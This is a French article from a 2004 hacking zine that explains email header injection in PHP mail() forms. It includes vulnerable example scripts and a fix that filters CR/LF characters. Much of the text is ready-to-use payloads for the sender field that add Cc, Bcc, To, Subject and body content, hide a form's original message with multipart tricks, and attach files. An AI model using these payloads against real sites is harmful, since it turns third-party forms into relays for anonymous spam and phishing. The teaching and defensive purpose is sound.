Les failles sur le net permettant l'envoi d'un mail anonyme
peuvent souvent servir un hacker, ou pour une arnaque
quelconque. En effet, quand on envois un mail en PHP, le
destinataire reoit un mail dont l'ip de l'expditeur est celui
du site depuis lequel la fonction mail() a t appele. Le
site fait donc usage de proxy SMTP.
Dans ces cas-l, le problme vient du fait que l'utilisateur
peut choisir le sujet du mail, son message, l'expediteur et le
destinataire.
Rappel : La fonction mail fonctionne de la sorte : mail([DESTINATAIRE],[SUJET],[MESSAGE],[HEADERS]);
Inutile de parler donc du cas o tout les arguments de la
fonction mail() sont dfinissable par l'utilisateur, il y a
dj pas mal de textes ce sujet.
Par contre il est plus interessant d'imaginer comment envoyer un
email anonyme quand il y a certaines restrictions.
En effet, d'autres
webmasters, plus prudents, dfinissent l'e-mail du destinataire
dans le code PHP, quand il s'agit par exemple (le plus souvent)
d'envoyer un mail au webmaster du site.
Voici un exemple de ce genre de script, sur lequel nous allons
commencer l'analyse :
<?
$to="webmaster@website.com";
if (!isset($_POST["send"])){
// Si le formulaire n'a pas t envoy, on l'affiche
?>
<form method="POST" action="">
A: webmaster@website.com<br>
De: <input type="text"
name="expediteur"><br>
Sujet : <input type="text"
name="sujet"><br>
Message : <br><br>
<textarea name="message" rows="10"
cols="60"
lines="20"></textarea><br>
<input type="submit" name="send"
value="Envoyer">
</form>
<?
}else{
// Si le formulaire a t envoy
$from=$_POST["expediteur"];
// On envoi le mail :
if
(mail($to,$_POST["sujet"],$_POST["message"],"From:
$from\n")){
// Si le mail a bien t envoy, message de
confirmation
echo "Votre mail a bien t envoy
$to.<br>";
}else{
// sinon, message d'erreur.
echo "Votre mail n\'a pas pu tre
envoy.<br>";
}
}?>
|
On ne peut donc pas choisir le destinataire via le premier
argument de la fonction mail(), vu qu'il est dfinit dans le
script. Par contre on peut dfinir le sujet, le message, et
l'expediteur (dans les headers : "From").
Rappelons le format d'un envoi de mail en PHP, pour une fonction
de type mail($destinataire,$sujet,$message,$headers); :
To:
$destinataire
Subject: $sujet
$headers
$message |
Donc quand on fait
un appel la fonction mail("destinataire@website1.com","Hello","Hi,\nYour
site is great.\nBye","From:
expediteur@website2.com\n"); on envois :
To:
destinataire@website1.com
Subject: Hello
From: expediteur@website2.com
Hi,
Your site is great.
Bye |
Dans le cas du
script PHP plus haut, la partie la plus interessante que
l'utilisateur peut choisir dans son envoi de mail est
l'expediteur, car il est directement envoys dans les headers.
Et nous allons tenter de modifier ou d'ajouter d'autres headers
que le "From".
Logiquement, les parties message, To: et Subject: pourraient
servir aussi injecter quelque chose, mais la fonction mail()
filtre bien les deux dernires, et la premire est le message,
et partir du moment o on a saut une ligne dans l'envoi du
mail, c'est considr comme du texte; le message ne saurait
donc rester qu'un message.
Le but est d'injecter des headers. A quel but ? Et bien ici, pour
envoyer un email anonyme quelqu'un d'autre que le webmaster du
site. Cela serait possible en utilisant par exemple l'header
"Cc" ( pour Carbon Copy ou Copie Carbone ou
Copie Conforme), qui envois une copie conforme du mail
aux personnes indiques en argument. Ou mieux l'header
"Bcc" (pour Blind Carbon Copy ou Copie
Carbone Cache) qui envois une copie conforme sans qu'aucun
autre destinataire ne soit au courrant. Le problme est que pour
dfinir un nouvel header, il faut obligatoirement passer la
ligne, comme on l'a vu dans le format de l'email plus haut.
Mais cela est possible, grce au caractre <LF> pour Line
Feed (ou passage la ligne), dont la traduction
hexadecimale est 0x0A.
Ainsi, en reprenant l'exemple de script PHP ci-dessus, si je
donne comme valeur :
- l'expediteur : "email@anonymous.com%0ACc:email1@website1.com%0ABcc:email2@website2.com,email3@website3.com"
- au sujet : "Hum"
- au message : "My Message..."
alors l'email envoy sera de la forme :
To:
webmaster@website.com
Subject: Hum
From: email@anonymous.com
Cc:email1@website1.com
Bcc:email2@website2.com,email3@website3.com
My Message... |
et on aura non
seulement bel et bien inject des headers, vu que le seul prvu
par le webmaster tait "From", mais on a en plus
envoy l'email trois personne de notre choix :
email1@website1.com, email2@website2.com et email3@website3.com
alors qu'on tait pas sens pouvoir choisir de destinataire.
On a utilis les headers "Cc" et "Bcc" pour
envoyer notre mail qui on voulait, mais le mieux aurait t
d'utiliser l'header "To". Et bien c'est possible; on
peut redfinir l'header "To", la nouvelle valeur
viendra juste s'ajouter l'ancienne, comme si on avait spar
les deux mails par des virgules (comme dans le "Bcc"
inject de l'exemple avant).
Gardons la mme valeur pour le sujet et le message, mais
l'expditeur donnont maintenant la valeur : "email@anonymous.com%0ATo:email1@who.com"
ce qui donne :
To:
webmaster@website.com
Subject: Hum
From: email@anonymous.com
To:email1@who.com
My Message... |
La rptition du
"To" ne posera donc aucun problme, et l'email sera
envoy webmaster@website.com ET email1@who.com .
Imaginons maintenant une possibilit d'envoi de mail encore plus
restrictive : l'envoi de pub. Il arrive souvent sur des sites
qu'on trouve un formulaire pour envoyer un mail un ami lui
"conseillant" d'aller visiter le site sur lequel on se
trouve. Dans des cas pareils, on peut rentrer notre email, que
l'ami sache qui l'a conseill, et l'email du destinataire
(l'ami). Ce qui donne par exemple un script comme ceci :
<?
$sujet="Visitez www.website.com !";
$message="Bonjour,\nUn ami vous conseille de visiter
www.website.com.\nAu revoir.";
if (!isset($_POST["send"])){
// Si le formulaire n'a pas t envoy, on l'affiche
?>
<form method="POST" action="">
A : <input type="text"
name="destinataire"><br>
De: <input type="text"
name="expediteur"><br>
<input type="submit" name="send"
value="Envoyer">
</form>
<?
}else{
// Si le formulaire a t envoy
$from=$_POST["expediteur"];
$to=$_POST["destinataire"];
// On envoi le mail :
if (mail($to,$sujet,$message,"From: $from\n")){
// Si le mail a bien t envoy, message de
confirmation
echo "Votre mail a bien t envoy
$to.<br>";
}else{
// sinon, message d'erreur.
echo "Votre mail n\'a pas pu tre
envoy.<br>";
}
}?>
|
Dans ce cas encore
une fois, on va pouvoir injecter des headers. Mais pas pour le
destinataire cette fois; on peut dj le dfinir nous-mme,c
'est prvu. Par contre ici on a pas le choix ni du sujet ni du
message envoy.
Commenons par le sujet. On
a vu tout l'heure qu'un header pouvoit tre dfinit deux
fois, la nouvelle valeur s'ajoutait l'ancienne. Il en est
evidemment de mme pour l'header "Subject", comme pour
tout les nombreux autres headers.
En donnant
comme destinataire "ami@friends.com" et comme
expediteur "badguy@badboys.com%0ASubject:My%20Anonymous%20Subject",
le mail sera envoy de cette faon :
To:
ami@friends.com
Subject: Visitez www.website.com !
From: badguy@badboys.com
Subject: My Anonymous Subject
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir. |
Le
sujet "My Anonymous Subject" sera ajout au
sujet "Visitez www.website.com !" ce
qui donnera un email avec comme sujet "Visitez
www.website.com ! My Anonymous Subject". Il
arrive mme dans certains webmails que ce ne soit que le sujet
ajout qui est affich (par exemple sur hotmail,
l'intrieur du message).
Voyons enfin comment changer le message. Le corps du message,
contrairement aux headers, n'est pas reconnaissable par son nom
(From, To, Subject,...); il n'y a pas d'intitul
"Message" dans le format d'un mail. Et c'est justement
comme a qu'il est reconnaissable. A partir du moment o on est
pass la ligne sans dfinir aucun header, on sait que la
suite est le message.
Donc au lieu de passer la ligne et de mettre le nom de
l'header injecter, on va simplement passer la ligne, puis
inscrire le message.
Le message est dj dfinit comme l'header "To" et
l'header "Subject", il y aura donc l'ancien message
plus le message inject, mais contrairement ces deux headers,
ce n'est pas aprs, mais avant l'ancien message que va se placer
le nouveau.
En effet imaginons maintenant qu'on marque comme expediteur :
"badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message."
, alors l'email serait de la forme :
To:
ami@friends.com
Subject: Visitez www.website.com !
From: badguy@badboys.com
My New
Anonymous Message.
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir. |
On
voit clairement que le nouveau message :
----------------------
My New
Anonymous Message
----------------------
vient avant l'ancien message :
--------------------------------------------------------------
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.
--------------------------------------------------------------
pour donner finalement le message :
--------------------------------------------------------------
My New
Anonymous Message
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.
--------------------------------------------------------------
Comme je l'ai dj dis, il existe toute une ribambelle
d'headers mail autres que "Cc",
"Bcc","To","Subject" et
"From".
Nous n'allons pas tous les passer en revue, ce n'est pas le but
de ce texte. Voyons en un dernier, un petite luxe =), qui peut
s'averer fort utile.
Il s'agit de l'header "Content-Type" qui, comme le dit
son nom, dfinit le type du message envoy. Il est par dfaut
"plain/text", c'est--dire du texte simple. Mais on
peut lui donner par exemple la valeur "text/html", ce
qui aura comme effet d'interpreter les balises HTML comme du HTML
et pas comme du texte.
Par exemple en donnant l'expediteur la valeur : "haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A
"
l'email envoy sera :
To:
ami@friends.com
Subject: Visitez www.website.com !
From: haxor@attack.com
Content-Type:text/html
My New
<u>HTML Anonymous Message.</u>
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir. |
et
l'affichage du mail, le texte "HTML Anonymous
Message." sera soulign.
La fonction mail respecte l'encodage MIME. En sachant a,
l'header "Content-Type" peut devenir trs interessant
pour l'injection d'headers. L'encodage MIME (Multipurpose Internet Mail Extensions) peut servir, en plus
d'envoyer des emails en html, de faire des attachements de
fichiers (sons, images, texte,...).
Ici nous allons tudier et utiliser l'header
"Content-Type" avec comme valeur
"multipart/mixed" (il y en a bien sr d'autres du
mme type comme "multipart/alternative" ou
"multipart/related").
"multipart/mixed" va nous permettre de sparer le mail
en plusieurs parties.
Commenons de suite par un exemple de mail au format MIME, ici
avec une seule partie pour le destinataire :
To:
destin@tai.re
Subject: Good Luck
From: expediteur@hissite.com
Content-Type: multipart/mixed;
boundary="MyBoundary";
Hidden Text1
--MyBoundary
Content-Type: plain/text;
Good Luck for you work,
bye
--MyBoundary--
Hidden Text2
|
On
voit d'abord un header "To", "Subject" et
"From" puis l'header "Content-Type" avec
l'argument "multipart/mixed", et juste aprs une ligne
attribuant "boundary" la valeur
"MyBoundary". "boundary" et le sparateur
entre les differentes parties du message. Il annonce le dbut du
1er message par "--[LE BOUNDARY]", il fait la
sparation entre les differentes parties galementpar
"--[LE BOUNDARY]" et il dfinit la fin du message par
"--[LE BOUNDARY]--". On peut lui donner la valeur qu'on
veut. Ensuite on voit une ligne "Hidden Text1". Comme
il le dit, ce texte ne sera pas montr au destinataire, car ce
n'est ni un header, ni une partie du message, puisqu'on a
dfinit un "boundary" qui n'a pas encore annonc le
dbut du 1er message.
Puis on a cette ligne "--MyBoundary" qui annonce le
dbut du premier message, et directement aprs encore un fois
l'header "Content-Type" qui va dfinir le type de
cette premire partie, ici du texte simple. Puis vient le
message, et la ligne "--MyBoundary--", annonant la
fin de l'email. Comme c'est la fin de l'email, la dernire ligne
"Hidden Text2" ne sera pas non plus montre au
destinataire.
Et voil ce qui est interessant pour l'injection d'headers : on
avait vu qu'on pouvait ajouter un message avec le script PHP pour
envoyer une pub, mais la pub tait toujours l. Avec ce nouvel
lment, on va pouvoir faire en sorte qu'il soit ignor.
Ainsi en donnant comme valeur l'expediteur :
"haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--"
on obtient l'envoi de message suivant :
To:
ami@friends.com
Subject: Visitez www.website.com !
From: haxor@attack.com
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html
<b>My Message.</b>
--frog--
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir. |
et
le message reu par "ami@friends.com" est
uniquement "<b>My Message.</b>" en
HTML, c'est dire "My Message." en gras. Le
message de pub :
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir. |
n'est
pas affich.
Note : je n'ai pas mis le boundary entre guillemets pour
montrer que c'est applicable mme si magic_quotes_gpc=ON.
Autre chose ce sujet... imaginons que le hacker puisse
modifier les headers via le champ "Expediteur" ET une
variable dans le message (par exemple au lieu de "un
ami" dans le message, une variable que l'utilisateur doit
remplir dans le formulaire du script PHP via un champ
"Pseudo"). Dans ce cas, il est possible d'obtenir le
mme rsultat ct destinataire (afficher uniquement le
message que l'on choisit), en donnant au champ
"Expediteur" la valeur : "haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A"
et au champ "Pseudo" la valeur : "%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--".
Seule difference, l'envoi de message sera :
To:
ami@friends.com
Subject: Visitez www.website.com !
From: haxor@attack.com
Content-Type:multipart/mixed; boundary=frog;
Bonjour,
--frog
Content-Type:text/html
<b>My Message.</b>
--frog--
vous conseille de visiter www.website.com.
Au revoir. |
On
voit bien que les parties du message "Bonjour,"
et "vous conseille de visiter www.website.com.Au
revoir." se trouvent aux emplacements de "Hidden
Text1" et "Hidden Text2" dans le
premier exemple de mail multipart-mixed. Elles ne sont donc pas
affiches dans le message.
Enfin une petite finale o on utilise peu prs tout ce qu'on
a vu, plus un petit bonus; un fichier attach. En donnant
l'expediteur la valeur :
"haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A"
l'email est envoy de la manire suivante :
To:
ami@friends.com
Subject: Visitez www.website.com !
From: haxor@attack.com
Subject:Mwahahaha
Bcc:target@nothappy.com
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html
<b>HTML Message.</b>
--frog--
Content-Type:text/html;name=Security.html;
Content-Transfer-Encoding:8bit
Content-Disposition: attachment
<u>HTML File</u>
--frog--
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir. |
Ce
qui donne donc comme expediteur : "haxor@attack.com",
comme sujet : "Visitez www.website.com !
Mwahahaha".
Cet email sera reu par "ami@friends.com", et
en copie cache par "target@nothappy.com".
L'email contiendra un message en html : "<b>HTML
Message.</b>" et un fichier attach de type
"text/html" nomm "Security.html"
contenant le code HTML : "<u>HTML File</u>".
Pour scuriser les failles d'injection d'headers mail, il doit y
avoir plusieurs manires differentes. Une ide serait
d'ajouter, aprs la ligne :
$from=$_POST["expediteur"]; |
le
code suivant :
if
(eregi("\r",$from) ||
eregi("\n",$from)){
die("Why ?? :(");
} |
On
voit que le script est stopp grce une fonction die() si
l'expediteur contient "\r" ou "\n".
"\n" correspond LF ou 0x0A/%0A en hexadecimal,
c'est--dire le saut la ligne, et "\r" correspond
CR ou 0x0D/%0D en hexadecimal ou "Carriage Return",
c'est dire le retour en dbut de ligne. Il arrive que les
caractres %0A%0D soient utiliss la place du simple %0A,
mais c'est ce dernier caractre qui est rellement dangereux.
Le filtre vrifie tout de mme se caractre car il n'y a
aucune autre raison que le piratage qu'il soit utilis.
Il y aurait bien sr encore beaucoup de choses dire, mais les
grands principes sont vus, ainsi que la logique.
En conclusion on se souviendra qu'on peut modifier comme on veut
dans l'e-mail tout ce qui se trouve aprs l'endroit de
l'injection (le "From"), et on peut seulement ajouter
ce que l'on veut aprs ce qui se trouve avant l'endroit de
l'injection.
Il y a un autre bon point cette scurit, en plus du fait
que les sujets et destinataires entrs dans la fonction mail()
sont dfinis de toute faon.
Quand j'ai pens faire le texte sur l'injection d'headers, je
n'avais encore jamais rien fait de ce genre. En reflechissant
ce qui serait possible de faire, je me suis dis qu'il pourrait
bien y avoir un trou norme d au header "Fcc". Cet
header contient le nom du fichier dans lequel une copie du mail
sera enregistr son envoi. Mais cet header doit tre le
premier dfinit parmis tout les headers pour tre valide, et ce
n'est pas possible via la fonction PHP mail() (et en plus je ne
suis pas sr que a soit applicable au format MIME).
Si je parle de ce header "Fcc", c'est pour attirer
l'attention sur lui. Imaginons que comme message du mail ou comme
expediteur ou n'importe quoi on mette du code PHP, et que dans
"Fcc" on mette un nom de fichier en .php dont le path
est celui du site web, il serait alors possible d'excuter du
code PHP. Ce n'est qu'une ide que je n'ai jamais teste mais
je suis sr qu'il doit y avoir quelque part des failles lies
a. Si quelqu'un en entend parler, qu'il me fasse signe :)
Je ddicace ce texte mon ami Raph alias Camebip dcd ce
2 novembre 2003. Ceux qui le connaissaient peuvent laisser ses proches un message en cliquant ici.
frog-m@n ( leseulfrog@hotmail.com )
www.phpsecure.info
Texte publi dans THJ
N12 de
dcembre-janvier 2004.